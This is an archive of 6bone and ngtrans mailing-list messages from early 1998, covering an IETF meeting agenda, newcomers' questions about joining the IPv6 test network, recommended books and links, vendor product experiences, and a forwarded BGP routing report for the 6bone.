Subject: soliciting agenda items for LA IETF
Cc: Bob Gilligan <gilligan@freegate.net>, Tony Hain <tonyhain@microsoft.com>
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ngtrans and 6bone folk,

There will be an ngtrans meeting at the LA IETF meeting on:

TUESDAY, March 31, 1998 

1300-1400 Afternoon Sessions I 

        INT     ip1394     IP Over IEEE 1394 WG 
        OPS    ngtrans    Next Generation Transition WG  <<<<<<<<<<<<
        TSV    tcpsat      TCP Over Satellite WG 
        USV    run          Responsible Use of the Network WG 

1415-1515 Afternoon Sessions II 

        INT     ip1394      IP Over IEEE 1394 WG 
        OPS    ngtrans     Next Generation Transition WG  <<<<<<<<<<<<
        SEC    spki          Simple Public Key Infrastructure WG 
        TSV    tcpsat       TCP Over Satellite WG 


so Bob, Tony and I are soliciting agenda items.  I'm presuming for now that
Jim Bound's new aatn activity will have a BOF of its own.  If not we can
add in it's topics at the last moment.

My known 6bone items are:

	Durand's 6bone backbone rules draft

	Dupont's multihoming draft

	steps to clean up the backbone

Suggestions to the list please.

I've posted the cutoff dates list below as well as when the IPng WG
meetings will occur. If you know of other IPv6 activities than this that
will take place, please let me know so I can advertize the times.


Thanks,

Bob

===========================
41st IETF Meeting - Los Angeles, CA

Cutoff Dates

March 9 - Working Group scheduling closes at 1700 ET 
March 13 - Internet Draft submission cutoff date at 1700 ET 
March 20 - Pre-Registration Payment cutoff date at 1200 ET 
March 25 - Pre-Registration cutoff date at 1200 ET 
March 25 - Working Group agendas due date by 1200 ET 
March 25 - Registration Cancellations cutoff date by 1800 ET 

All times are in US Eastern Time 

====================
Other IPv6 activities

MONDAY, March 30, 1998 

1930-2200 Evening Sessions 

        INT     ipngwg      IP Next Generation WG   <<<<<<<<<<<<
        RTG    mpls         Multiprotocol Label Switching WG 


THURSDAY, April 2, 1998 

0900-1130 Morning Sessions 

        INT     ipngwg     IP Next Generation WG   <<<<<<<<<<<<
        OPS    entmib      Entity MIB WG 
        SEC    pkix          Public-Key Infrastructure (X.509) WG 
        TSV    rtfm          Realtime Traffic Flow Measurement WG 


-end

From 6bone-owner  Thu Feb 19 06:10:05 1998
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        Tony Hain <tonyhain@microsoft.com>
Subject: Re: (ngtrans) soliciting agenda items for LA IETF 
In-Reply-To: Your message of "Wed, 18 Feb 1998 09:43:12 PST."
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Bob,

I am not clear that my work will have a bof of its own.  I need to keep
separate that which is needed for NG transition and that which is neeeed
for avoidance of NAT.  

I will need 15 minutes to update all on the fixes to NNAT to get IPv6
deployed.  ALso the name will change and not be called NNAT and also
nodes will be able to request IPv4 addresses from DHCPv6 as an
extension.  Other stuff too.

I will have an updated draft out within the next two weeks.

/jim

From 6bone-owner  Tue Feb 24 16:43:55 1998
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From: Yajie Lee <lee_y@cs.unr.edu>
To: 6bone@ISI.EDU
cc: lee_y@cs.unr.edu
Subject: Request connection to 6 bone
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I'm a graduate student in the Department of computer sciences at the
University of Nevada, Reno. I'd like to experience with the ipv6 and do
some experiment on our local network for our department. Unfortunately, I
wasn't able to decide which place I should contact to get the ipv6 address
and connect to the 6 bone. Would you please help me out?

Best Regards! 
 

Yajie Lee 
Department of Computer Sciences 
University of Nevada, Reno 
Reno, NV 89557 
lee_y@cs.unr.edu 


From 6bone-owner  Tue Feb 24 23:50:13 1998
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Date: Wed, 25 Feb 1998 15:49:26 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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We have joined 6Bone as leaf site and we have only one ISP in the
original IPv6 network connected to Internet. Thus, we have no our own
ASN in the past. Now, we wish to become a transit site and one of the
requirement is to have BGP4+ routing protocol, which must have an ASN
included.
	My question is that since a transit site usually have only one backbone
site(as ISP) connected to 6Bone, should I apply for an ASN just for
becoming an transit site? I have checked the 6Bone mail archive about
the topic, but the old discussing seems to be about the ASN in
provider-based address, not the ASN in BGP4+.
	Can anyone answer my question? Thanks a lot.
							Yann-Ju Chu
							yjchui@ms.chttl.com.tw

From 6bone-owner  Wed Feb 25 00:32:49 1998
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To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
Cc: 6Bone <6bone@ISI.EDU>, stuart@pa.dec.com
Subject: Re: about ASN 
In-Reply-To: Your message of Wed, 25 Feb 98 15:49:26 +0800.
             <34F3CD06.24C582B@ms.chttl.com.tw> 
Date: Wed, 25 Feb 98 00:31:14 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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> 	My question is that since a transit site usually have only one backbone
> site(as ISP) connected to 6Bone, should I apply for an ASN just for
> becoming an transit site? I have checked the 6Bone mail archive about
> the topic, but the old discussing seems to be about the ASN in
> provider-based address, not the ASN in BGP4+.
> 	Can anyone answer my question? Thanks a lot.

You should be able to use private AS numbers to peer with your
upstream (me) and any downstreams with whom you might also peer.

Stephen
- -----
Stephen Stuart				stuart@pa.dec.com
Network Systems Laboratory
Digital Equipment Corporation

From 6bone-owner  Fri Feb 27 08:22:45 1998
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From: "Anthony Funkhouse" <tofunk@hotmail.com>
To: 6bone@ISI.EDU
Subject: IPv6 Integration
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Good Afternoon,
I just recently started researching IPv6 and I am having difficulties 
finding any halfway descent information on this topic. If anyone can 
help me in locating any whitepapers or information I would appreciate 
it. Thank you and have a great weekend.

Tony

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From 6bone-owner  Mon Mar  2 00:02:28 1998
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Date: Mon, 02 Mar 1998 09:02:49 +0100
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
Organization: CMG Advanced Technologies Rotterdam
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Anthony Funkhouse wrote:
> 
> Good Afternoon,
> I just recently started researching IPv6 and I am having difficulties
> finding any halfway descent information on this topic. If anyone can
> help me in locating any whitepapers or information I would appreciate
> it. Thank you and have a great weekend.

Hi there,

I'm also researching IPv6 integration for my study.
You can find various documentation on the following site(s) :

A good white paper : 

http://www.baynetworks.com/Products/Routers/Protocols/2789.html

A white paper from FTP software :

http://www.ftp.com/product/whitepapers/ipv6.html

There are ofcourse many RFC's and Drafts available on the web, which you
can
find on ds.internic.net/rfc and ds.internic.net/internet-drafts.

A few good starting points are :

http://www.ewos.be/coexist/etg071/gintrod.htm
http://www.cs-ipv6.lancs.ac.uk/
http://www.6bone.net
http://playground.sun.com/pub/ipng/html/ipng-main.html

I hope I've answered your question.

Greetz, Mike.

> Tony

From 6bone-owner  Mon Mar  2 03:20:58 1998
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From: "Eichhorn, Michele M." <EichhoMM@ForteSystems.COM>
To: 6bone@ISI.EDU, "'Anthony Funkhouse'" <tofunk@hotmail.com>
Subject: RE: IPv6 Integration
Date: Mon, 2 Mar 1998 06:20:15 -0500
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Anthony,
There are four books available re IPv6.  The three that deal with
implementation and the protocol itself are:
*	IPv6, The New Internet Protocol, Christian Huitema.  This book
was interesting as Dr. Huitema was there at the beginning and gives a
lot of insight into the history of its development.
*	IPng and the TCP/IP Protocols, Implementing the Next Generation
Internet, Stephen A. Thomas.  Really gets into the nuts and bolts,
however, some changes have occurred since its release.  Really good
description of real-time support.
*	Implementing IPv6, Migrating to the Next Generation Internet
Protocols, Mark Miller.  This is the newest of the bunch (1998)
therefore more up-to-date.  Comprehensive as well.  It may be tough to
find as I'm not sure its available yet.  I think our library got an
early release but it should be out very soon.  The book comes with a
CD-ROM which includes transition mechanisms and strategies as well as
the RFCs.  By the way, the RFCs are really very interesting.  There are
links within the 6bone home page.
*	Network World had a good article last year.  (www.nwfusion.com)
You should be able to do a search to find it.
> *	http://techweb.cmp.com/nc/901/901colmoskowitz.html  Another
> article, more recent, enumerates some reasons to start dedicating
> resources to IPv6.
*	www.techweb.com (search IPv6) will give you about 50+ articles
on the subject.  There is a link there to AltaVista search, however, it
generates something like 7500 hits (too much)

Hope this helps.  

Michele

> ----------
> From: 	Anthony Funkhouse[SMTP:tofunk@hotmail.com]
> Sent: 	Friday, February 27, 1998 11:22 AM
> To: 	6bone@ISI.EDU
> Subject: 	IPv6 Integration
> 
> Good Afternoon,
> I just recently started researching IPv6 and I am having difficulties 
> finding any halfway descent information on this topic. If anyone can 
> help me in locating any whitepapers or information I would appreciate 
> it. Thank you and have a great weekend.
> 
> Tony
> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
> 

From 6bone-owner  Mon Mar  2 05:13:55 1998
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Date: Mon, 02 Mar 1998 14:13:51 +0100
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
Organization: CMG Advanced Technologies Rotterdam
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Hi all,

I'm new to this mailinglist, and I have a little question.
I'm studying computerscience in the Netherlands and my essay is about
the migration between IPv4 and IPv6. I currently work for CMG Rotterdam,
but connection to the Internet is only possible by using a proxy. 
Is it possible for me to join the 6bone using a proxy, or do I need to
dail-in to connect to the 6bone ?
I know the DNS has to be IPv6 compatible, but I don't know if it's
essential for use.
Excuse me if this is a really stupid question :)

Thanks in advance,

Mike.

-- 
Mike Crawfurd 
CMG Advanced Technologies Industries
Kralingseweg 241
3062 CE Rotterdam
The Netherlands
Telephone.   (+31) 10 253 7000
Telefax.     (+31) 10 253 7033
Email.       mike.crawfurd@cmg.nl

From 6bone-owner  Mon Mar  2 05:35:54 1998
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From: "Bob Vance" <bobv@sbm.com>
To: "6bone List" <6bone@ISI.EDU>
Subject: Fw: IPv6 Integration
Date: Mon, 2 Mar 1998 08:35:22 -0500
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Nice book:

   Implementing IPv6: Migrating to the Next Internet Protocol
by Mark Miller

 Can find at various online book locations.
-----------------------------------------------
Tks          |  bobvance@sbm.com
BV           |  bobvance@alumni.caltech.edu
===============================================
-----Original Message-----
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
To: 6bone@ISI.EDU <6bone@ISI.EDU>
Date: Monday, March 02, 1998 6:53 AM
Subject: Re: IPv6 Integration


Anthony Funkhouse wrote:
>
> Good Afternoon,
> I just recently started researching IPv6 and I am having
difficulties
> finding any halfway descent information on this topic. If anyone can
> help me in locating any whitepapers or information I would
appreciate
> it. Thank you and have a great weekend.



From 6bone-owner  Mon Mar  2 06:26:00 1998
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To: "Eichhorn, Michele M." <EichhoMM@fortesystems.com>
Cc: 6bone@ISI.EDU, "'Anthony Funkhouse'" <tofunk@hotmail.com>
Subject: Re: IPv6 Integration 
In-Reply-To: Your message of "Mon, 02 Mar 1998 06:20:15 EST."
             <60C450160AE2D011AA5000A0C93C8DB067025A@FSIHQMMS> 
Date: Mon, 02 Mar 1998 09:14:03 -0500
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christian's books has a second edition....

/jim

From 6bone-owner  Tue Mar  3 00:18:43 1998
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Date: Tue, 03 Mar 1998 09:19:15 +0100
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
Organization: CMG Advanced Technologies Rotterdam
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Hi all,

Peter Bieringer wrote:
> For connection to the 6bone you need a tunnelendpoint with a globally IPv4
> address.
> Because of IPv4 transfer is different to IPv6 transfer, either your proxy can
> handle IPv6-in-IPv4 packets and sends them to your tunnel endpoint, or is
> the tunnelendpoint itself.

So basicly I need a server connected directly to the Internet.
I have a server in America (which is currently offline due to Harddisk
failure), running
FreeBSD. 

> Dial-in doesn't really help you, because you have to set up a tunnel
> through the dial-up line. It will only work, if you have one tunnel
> endpoint outside (at a friend), and one inside your network and tunnel by
> IPv4 dial-up between them (if your dial-up to outside is with dynamic
> allocated IPv4 addresses, I have a solution for Linux to solve this problem).

I could create a tunnel between my home and my server in America, but
won't my dail-in ISP interfere with the tunnel ? My dail-in ISP doesn't
use a firewall and/or proxy.
My server (in America) has 32 IP adresses, and I'll try to get one from
my dail-in ISP. 

> But that's not the way your sysad want to honour. A better way is if your
> sysad let one of a free IPv4 address through the firewall proxy into your
> net for a tunnel endpoint. But tunneling is also a security hole...

True, I try to confince my system administrator, or try to find an
alternative.
 
> >I know the DNS has to be IPv6 compatible, but I don't know if it's
> >essential for use.
> DNS isn't really necessary for a simple tunnel. And sometimes in the
> future, when DNS transfers will also go over IPv6, it's no problem.
> 
> >Excuse me if this is a really stupid question :)
> Only answers can be stupid, hope, my isn't it :-)

I'm trying to learn from my mistakes, but that probably means that I
have to make mistakes to learn :-)
 
> Peter

Thanks all,

Mike.


"Life is just another process that can be killed"
			- Mike Crawfurd

-- 
Mike Crawfurd 
CMG Advanced Technologies Industries
Kralingseweg 241
3062 CE Rotterdam
The Netherlands
Telephone.   (+31) 10 253 7000
Telefax.     (+31) 10 253 7033
Email.       mike.crawfurd@cmg.nl

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From: "Paul V Maggitti" <PAUL.V.MAGGITTI@cdev.com>
To: 6bone@ISI.EDU (Return requested)
Subject: Companies Implementing IPv6?
MIME-Version: 1.0
Sender: owner-6bone@zephyr.isi.edu
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  I am a systems engineer working research and development for General
  Dynamics Information Systems.  My company is just starting a lab
  environment to implement IPv6. Our lab started out with a Windows NT 4.0
  server, laptops and Pentium machines.  My first task was to find out
  which companies produce IPv6 products.

  I started out using the "IPng Implementations" list at

  http://playground.sun.com/ipng/ipng-implementations.2.html
  
  I attempted to contact each of the host and router implementations listed
  there. I got some kind of response from (routers) Cisco Systems, Hitachi,
  Ipsilon Networks, and Telebit; as well as (hosts) Digital, Epilogue,
  Process Software, Silicon Graphics, and Sun.

  What I need to find out is which products are "best" to select/purchase
  for our new lab.  Our R&D is based upon the following task statement
  (number 1 of 8):

  "Mobile backbone that can support multimedia.  Survey what is state of
  the art.  What exists now on IPv6 that can support mobile IP?  RSVP?
  Investigate relationships of OSI seven layer model and mobile backbone to
  support multimedia.  What is role of ATM?  Are products available?  What
  is the cost?  Report."

  I'd appreciate any advice on how to start: what routers, what work
  stations, etc.

  Thank you in advance for your time and assistance.

  Paul Maggitti

  paul.v.maggitti@gd-is.com
  General Dynamics Information Systems
  8800 Queen Avenue South, M/S BLCS2X
  Bloomington, MN  55431
  (612) 921-6885/(612) 830-5100 (fax)

From 6bone-owner  Wed Mar  4 08:32:32 1998
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Date: Wed, 04 Mar 1998 08:31:52 -0800
To: "Paul V Maggitti" <PAUL.V.MAGGITTI@cdev.com>, 6bone@ISI.EDU
From: Vince_Grimaldi@BayNetworks.COM (Vince Grimaldi)
Subject: Re: Companies Implementing IPv6?
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Pual,
	you may wish to look into FTP Software's implementation as well.  The have
a software package for Windows95.  Take a look at there web page.  The
software package is "OnNet32" version 3.0.  They are working on a version
that is in beta now.  This version includes IPSEC, and other security
features.

Hope this helps,


At 09:44 AM 3/4/98 -0600, you wrote:
>
>
>  I am a systems engineer working research and development for General
>  Dynamics Information Systems.  My company is just starting a lab
>  environment to implement IPv6. Our lab started out with a Windows NT 4.0
>  server, laptops and Pentium machines.  My first task was to find out
>  which companies produce IPv6 products.
>
>  I started out using the "IPng Implementations" list at
>
>  http://playground.sun.com/ipng/ipng-implementations.2.html
>  
>  I attempted to contact each of the host and router implementations listed
>  there. I got some kind of response from (routers) Cisco Systems, Hitachi,
>  Ipsilon Networks, and Telebit; as well as (hosts) Digital, Epilogue,
>  Process Software, Silicon Graphics, and Sun.
>
>  What I need to find out is which products are "best" to select/purchase
>  for our new lab.  Our R&D is based upon the following task statement
>  (number 1 of 8):
>
>  "Mobile backbone that can support multimedia.  Survey what is state of
>  the art.  What exists now on IPv6 that can support mobile IP?  RSVP?
>  Investigate relationships of OSI seven layer model and mobile backbone to
>  support multimedia.  What is role of ATM?  Are products available?  What
>  is the cost?  Report."
>
>  I'd appreciate any advice on how to start: what routers, what work
>  stations, etc.
>
>  Thank you in advance for your time and assistance.
>
>  Paul Maggitti
>
>  paul.v.maggitti@gd-is.com
>  General Dynamics Information Systems
>  8800 Queen Avenue South, M/S BLCS2X
>  Bloomington, MN  55431
>  (612) 921-6885/(612) 830-5100 (fax)
>
Vince Grimaldi
Bay Networks
Corporate Systems Engineer

From 6bone-owner  Wed Mar  4 23:22:24 1998
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Date: Thu, 05 Mar 1998 08:21:16 +0100
To: Vince_Grimaldi@baynetworks.com (Vince Grimaldi),
        "Paul V Maggitti" <PAUL.V.MAGGITTI@cdev.com>, 6bone@ISI.EDU
From: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
Subject: Re: Companies Implementing IPv6?
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At 08:31 AM 3/4/98 -0800, Vince Grimaldi wrote:
>Pual,
>	you may wish to look into FTP Software's implementation as well.  The have
>a software package for Windows95.  Take a look at there web page.  The
>software package is "OnNet32" version 3.0.  They are working on a version
>that is in beta now.  This version includes IPSEC, and other security
>features.
>

Paul and others

Let me try to save you from the frustration I experienced
It seems to be a low priority for FTP software to supply or
support IPv6 . I have been pulling my hair out after trying to reach
Chip sparling from FTP software( IPv6 product manager) .
I believe some 6bone members confirmed that FTP has put IPv6 on a low
Priority.
We had even bought a couple of sets of the product ( Onnet32 ) and it was
no good
on our tests. Although I did see some people had some luck in getting it to
work
partially.

Unless people can state clearly to me I am wrong 
( some proof would be even more convincing), I think a lot of
people share my opinion . This is based on the earlier responses I got
from the 6bone mailing list when I was desperately asking 6bone people
to help me on this product.(4 nov 97)
So don't say I did not warn you.

Regards
	Aad
>Hope this helps,
>
>
>At 09:44 AM 3/4/98 -0600, you wrote:
>>
>>
>>  I am a systems engineer working research and development for General
>>  Dynamics Information Systems.  My company is just starting a lab
>>  environment to implement IPv6. Our lab started out with a Windows NT 4.0
>>  server, laptops and Pentium machines.  My first task was to find out
>>  which companies produce IPv6 products.
>>
>>  I started out using the "IPng Implementations" list at
>>
>>  http://playground.sun.com/ipng/ipng-implementations.2.html
>>  
>>  I attempted to contact each of the host and router implementations listed
>>  there. I got some kind of response from (routers) Cisco Systems, Hitachi,
>>  Ipsilon Networks, and Telebit; as well as (hosts) Digital, Epilogue,
>>  Process Software, Silicon Graphics, and Sun.
>>
>>  What I need to find out is which products are "best" to select/purchase
>>  for our new lab.  Our R&D is based upon the following task statement
>>  (number 1 of 8):
>>
>>  "Mobile backbone that can support multimedia.  Survey what is state of
>>  the art.  What exists now on IPv6 that can support mobile IP?  RSVP?
>>  Investigate relationships of OSI seven layer model and mobile backbone to
>>  support multimedia.  What is role of ATM?  Are products available?  What
>>  is the cost?  Report."
>>
>>  I'd appreciate any advice on how to start: what routers, what work
>>  stations, etc.
>>
>>  Thank you in advance for your time and assistance.
>>
>>  Paul Maggitti
>>
>>  paul.v.maggitti@gd-is.com
>>  General Dynamics Information Systems
>>  8800 Queen Avenue South, M/S BLCS2X
>>  Bloomington, MN  55431
>>  (612) 921-6885/(612) 830-5100 (fax)
>>
>Vince Grimaldi
>Bay Networks
>Corporate Systems Engineer
>
>
		

====================================================================
// Aad van der Zanden.				| POSTAL ADDRESS:	
// Communications Systems Division        				
// NATO C3 Agency		    			| NATO C3 Agency	
// Email  : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		
// Phone  : +31 (0)70 3142440 			| 2501 CD  The Hague	
// Fax    : +31 (0)70 3142176 			| The Netherlands	
====================================================================

From 6bone-owner  Thu Mar  5 00:47:15 1998
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Date: Thu, 05 Mar 1998 10:51:06 +0100
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CC: Return requested <6bone@ISI.EDU>
Subject: Re: Companies Implementing IPv6?
References: <"015CF34FD76F7125*/c=us/admd= /prmd=ceridian/o=cdev/ou=cc-lan/ou=cchsgate/s=MAGGITTI/g=PAUL/i=V/"@MHS>
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Hi Paul,

Paul V Maggitti wrote:

> Our R&D is based upon the following task statement
>   (number 1 of 8):
>
>   "Mobile backbone that can support multimedia.  Survey what is state of
>   the art.  What exists now on IPv6 that can support mobile IP?  RSVP?
>   Investigate relationships of OSI seven layer model and mobile backbone to
>   support multimedia.  What is role of ATM?  Are products available?  What
>   is the cost?  Report."
>
>   I'd appreciate any advice on how to start: what routers, what work
>   stations, etc.

You make like to take a look at:

http://www.eurescom.de/~public-webspace/p700-series/P702/html/brochure.htm

This project, sponsored by Eurescom, investigates many of the issues you raise.
It uses an IPv6 video application supporting IPv6 mobility, RSVP for IPv6 and
non zero assigned flow labels. It runs on a native IPv6 over ATM network and
encorporates possibilities to use other trunking technologies such as ISDN and
Frame Relay. The idea is that the user can select a CoS/QoS that fits the
remote application's bandwidth requirements. The hosts use Francis Dupont's
FreeBSD, the application has been developed by the University of Lancaster, and
the routers come from Telebit..

We'll be making a demo of this set up at CBIT in Hannover, Germany later this
month if per chance you should be over in Europe,

/Martin

TELEBIT Communications A/S
http://www.tbit.dk/



From 6bone-owner  Thu Mar  5 02:06:32 1998
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From: "Sébastien" Col <seb_col@yahoo.com>
Subject: ftp software / IPv6 implementation
To: 6bone@ISI.EDU
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 Hi,

I have just read the last messages from the mailing list, and as a new
user of this IPng, I have some questions for you.

1) I have 2 Win95 PCs, connected via a Switch.
I have installed the ftp software on each PC, with the ftp software's
IPv6 stack. 

2) When I tried to configure my 2 PCs, I can only enter IPv4 adresses.
(option: network configuration, TCP/IP configuration)
Even if I have checked the 'IPv6 enable' option.

 I am missing something?
Do I need to configure other things like an IPv6 DNS, or an IPv6
routeur?

 I would appreciate any help.

 I thing that a lot of people here are making their own tests, so do
not hesitate to answer to the list, so that everyone can see the help
you have provided.


Sébastien Colombier
Ingenior Student
Paris, FRANCE

PS: Please everyone here, excuse my bad english, this is not my mother
tong!

_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com


From 6bone-owner  Thu Mar  5 03:13:01 1998
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Date: Thu, 05 Mar 1998 11:13:25 +0000
To: =?iso-8859-1?Q?=22S=E9bastien=22?= Col <seb_col@yahoo.com>
From: Peter Curran <pcurran@ticl.co.uk>
Subject: Re: ftp software / IPv6 implementation
Cc: 6bone@ISI.EDU
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Sebastien

I think you may have missed a couple of important points about IPv6.......

>I have just read the last messages from the mailing list, and as a new
>user of this IPng, I have some questions for you.
>
>1) I have 2 Win95 PCs, connected via a Switch.
>I have installed the ftp software on each PC, with the ftp software's
>IPv6 stack. 
>
>2) When I tried to configure my 2 PCs, I can only enter IPv4 adresses.
>(option: network configuration, TCP/IP configuration)
>Even if I have checked the 'IPv6 enable' option.
>
> I am missing something?

This sounds pretty reasonable.  What IPv6 gives us is the ability to switch
on a host and have it configure itself automatically with all of its
addressing information.  You do not need to do anything.

If you do not have an IPv6 router on your network, then your hosts will end
up with link-local addresses only.  They should be able to talk to each
other but you will need to find the IPv6 addresses of the two machines to
do this.  (Can't help you here as I do not know about the FTP software).
 

>Do I need to configure other things like an IPv6 DNS, or an IPv6
>routeur?
>
Ultimately, to make use of this stuff then the answer is yes.  However, you
should be able to get something to work without this at first.  If you want
to connect to the 6bone then you will need a 'router' and a DNS server.

> I would appreciate any help.
>
Can I suggest that you 'read-in' to the subject some more.  Apart from the
RFC's (some of which are quite readable, others impenetrable to the
uninitiated) I strongly recommend "IPv6 The new Internet Protocol, 2nd
Edition" by Christian Huitema.

Cheers

Peter Curran
TICL



From 6bone-owner  Mon Mar  9 08:53:07 1998
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X-Mailer: exmh version 2.0zeta 7/24/97
From: Craig Labovitz <labovit@merit.edu>
To: 6bone@ISI.EDU
Subject: 6Bone Daily Email Routing Reports
Reply-To: labovit@merit.edu
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Hi,

Just for those who might be interested --- we have created a daily routing 
table/instability email report for the 6Bone.  This report is fairly similar 
to the reports we have been generating for the commodity IPv4 backbone.

To subscribe, send email to 6bone-routing-report-request@merit.edu.

- Craig


------- Forwarded Message
Subject: 03/05/98 6Bone Routing Report
To: 6bone-routing-report@merit.edu
From: owner-6bone-routing-report@merit.edu

See http://www.merit.edu/ipma for a more detailed report on 
routing problems and recommendations on ways service providers can
limit the spread of invalid routing information.
Send comments and questions to ipma-support@merit.edu

To unsubscribe from this list, send mail to 
    6bone-routing-report-request@merit.edu.
A hypermail archive is available at
	http://www.merit.net/mail.archives/html/6bone-routing-report/

Also see http://www.caida.org for more information about Internet statistics
collection research efforts.

----------------------------------------------
This report is for 03/05/98.
----------------------------------------------

Size of 6Bone Routing Table:
	Max = 122, Min = 108, Average = 117
	46 Unique Autonomous System (AS) numbers

BGP4+ Traffic Summary:  
	Announcements=40579    Withdraws=1896   Unique Routes=130

Poorly Aggregated Announcements:
--------------------------------
  10:50:48 3ffe:2c00:0:ffff::4/127 from 3ffe:1c00:0:60::153 (237)
  14:54:52 3ffe:2c00:0:ffff::6/127 from 3ffe:1c00:0:60::153 (237)
  21:59:35 5f02:3000:c020:ae00:201d::/80 from 3ffe:1c00:0:60::153 (237)
  23:00:10 3ffe:1500::fffe:0:0:10/126 from 3ffe:900:0:3::1 (1225)
  23:00:13 3ffe:1500::fffe:0:0:20/126 from 3ffe:1c00:0:60::153 (237)
  23:00:12 3ffe:1500::fffe:0:0:11/126 from 3ffe:1c00:0:60::153 (237)
  10:43:08 3ffe:1500::fffe:0:0:c/126 from 3ffe:900:0:3::1 (1225)
  10:42:56 3ffe:1500::fffe:0:0:21/126 from 3ffe:900:0:3::1 (1225)
  21:59:35 5f02:3000:c020:ae00:b180::/80 from 3ffe:1c00:0:60::153 (237)
  23:00:12 3ffe:1500::fffe:0:0:d/126 from 3ffe:1c00:0:60::153 (237)
  23:00:10 3ffe:1500::fffe:0:0:14/126 from 3ffe:900:0:3::1 (1225)
  07:48:51 3ffe:1001:1:ffff::1/126 from 3ffe:900:0:3::1 (1225)
  23:00:11 3ffe:1500::fffe:0:0:24/126 from 3ffe:900:0:3::1 (1225)
  23:00:12 3ffe:1500::fffe:0:0:15/126 from 3ffe:1c00:0:60::153 (237)
  14:54:52 3ffe:2c00:0:ffff::/127 from 3ffe:1c00:0:60::153 (237)
  23:00:13 3ffe:1500::fffe:0:0:25/126 from 3ffe:1c00:0:60::153 (237)
  14:54:52 3ffe:2c00:0:0:10::/80 from 3ffe:1c00:0:60::153 (237)
  23:00:13 3ffe:1500::fffe:0:0:18/126 from 3ffe:1c00:0:60::153 (237)
  10:42:56 3ffe:1500::fffe:0:0:19/126 from 3ffe:900:0:3::1 (1225)
  00:00:43 3ffe:600:8000::10/126 from 3ffe:1c00:0:60::153 (237)
  18:04:46 3ffe:600:8000::12/126 from 3ffe:900:0:3::1 (1225)
  23:00:10 3ffe:1500::fffe:0:0:1/126 from 3ffe:1c00:0:60::153 (237)
  10:42:58 3ffe:1500::fffe:0:0:4/126 from 3ffe:900:0:3::1 (1225)
  14:54:27 3ffe:1001:1:ffff::/126 from 3ffe:1c00:0:60::153 (237)
  23:00:13 3ffe:1500::fffe:0:0:1c/126 from 3ffe:1c00:0:60::153 (237)
  10:42:56 3ffe:1500::fffe:0:0:1d/126 from 3ffe:900:0:3::1 (1225)
  23:00:11 3ffe:1500::fffe:0:0:5/126 from 3ffe:1c00:0:60::153 (237)
  14:54:26 3ffe:c00:8004:1::/80 from 3ffe:1c00:0:60::153 (237)
  14:54:52 3ffe:2c00:0:0:1::/80 from 3ffe:1c00:0:60::153 (237)
  18:10:58 3ffe:2c00:0:0:2::/80 from 3ffe:1c00:0:60::153 (237)
  23:00:12 3ffe:1500::fffe:0:0:9/126 from 3ffe:1c00:0:60::153 (237)
  14:54:52 3ffe:2c00::/80 from 3ffe:1c00:0:60::153 (237)
  14:54:52 3ffe:2c00:0:ffff::2/127 from 3ffe:1c00:0:60::153 (237)



The top five most active prefixes:
- ----------------------------------
1. 3ffe:604:2::/48 had 7565 BGP+ Updates (517 unique aspaths)
  1225 1275 559 5623 1717 1835 1849 786 1103 1891  
  1673 109 786 1849 1225 1275 559 5623 1717 1835 2839 1103 1891  
  1673 1225 1275 1717 1835 1103 1891  
  1673 1225 109 1849 5623 1717 1103 1891  
  1225 48 109 786 1849 1103 1891  
  1673 109 64512 1225 1849 1103 1891  
  1225 1849 1890 1103 1891  
  1673 109 48 1225 1275 1717 5623 1849 1103 1891 2607  
  1673 1225 1849 1835 1717 786 1103 1891  
  1673 109 1225 1275 559 5623 1717 1835 1103 1891  
  1225 109 1849 5623 1717 1103 1891  
  ...Truncated...

2. 3ffe:301:dec1::/48 had 6884 BGP+ Updates (442 unique aspaths)
  1225 1275 559 5623 1717 1835 1849 786 1103 1891  
  1673 109 48 1225 1275 559 5623 1717 1835 1849 1103 1891 2607  
  1225 1275 1717 1103 1891  
  1673 1225 109 1849 5623 1717 1103 1891  
  1673 1225 1275 1717 1835 1103 1891  
  1225 48 109 786 1849 1103 1891  
  1673 109 1225 1275 559 5623 1717 786 1103 1891  
  1673 109 64512 1225 1849 1103 1891  
  1225 48 5609 2839 1835 1717 5623 1849 5539 3274 1103 1891  
  1225 109 1849 5539 1273 1835 1103 1891  
  1673 109 64512 1225 1275 1717 786 1849 1103 1891  
  ...Truncated...

3. 3ffe:600:8000::10/126 had 6264 BGP+ Updates (346 unique aspaths)
  1225 109 786 1849 5539 1273 1835 2839 1103 1891 1718 1717  
  1225 1849 5609 2839 1103 1891 1718 1717  
  1673 109 1849 1225 1103 1891 1718 1717  
  1673 109 48 5609 1225 1275 559 5623 1849 1103 1891 1718 1717  
  1225 64512 109 1849 5539 1273 1835 1103 1891 1718 1717  
  1673 109 786 1849 5539 1273 1835 2839 1103 1891 1718 1717  
  1225 109 48 5609 2839 1835 1849 1103 1891 1718 1717 2607  
  1673 109 48 1225 1275 1103 1891 1718 1717  
  1673 109 1225 1849 786 1103 1891 1718 1717  
  1225 48 109 1849 3582 293 1103 1891 1718 1717  
  1225 48 5609 2839 1835 1849 1103 1891 1718 1717 2607  
  ...Truncated...

4. 3ffe:301:dec2::/48 had 5727 BGP+ Updates (410 unique aspaths)
  1225 48 5609 1849 1835 1103 1891 1718 1221  
  1225 109 786 1849 3582 1103 1891 1718 1221  
  1673 109 1849 1835 1103 1891 1718 1221  
  1225 1275 1717 1835 1849 786 1103 1891 1718 1221  
  1225 1849 2839 1103 1891 1718 1221  
  1673 109 1849 3582 1225 1103 1891 1718 1221  
  1225 1849 1835 3263 1103 1891 1718 1221  
  1673 109 1225 1849 786 1717 1103 1891 1718 1221  
  1225 48 5609 2839 1103 1891 1718 1221  
  1673 1225 109 48 5609 2839 3263 1275 559 5623 1717 1835 1849 1103 1891 1718 
1221 2607
  1673 109 48 1225 1103 1891 1718 1221  
  ...Truncated...

5. 3ffe:1dec::/32 had 5726 BGP+ Updates (414 unique aspaths)
  1673 109 1849 1225 1275 1103 1891 1718  
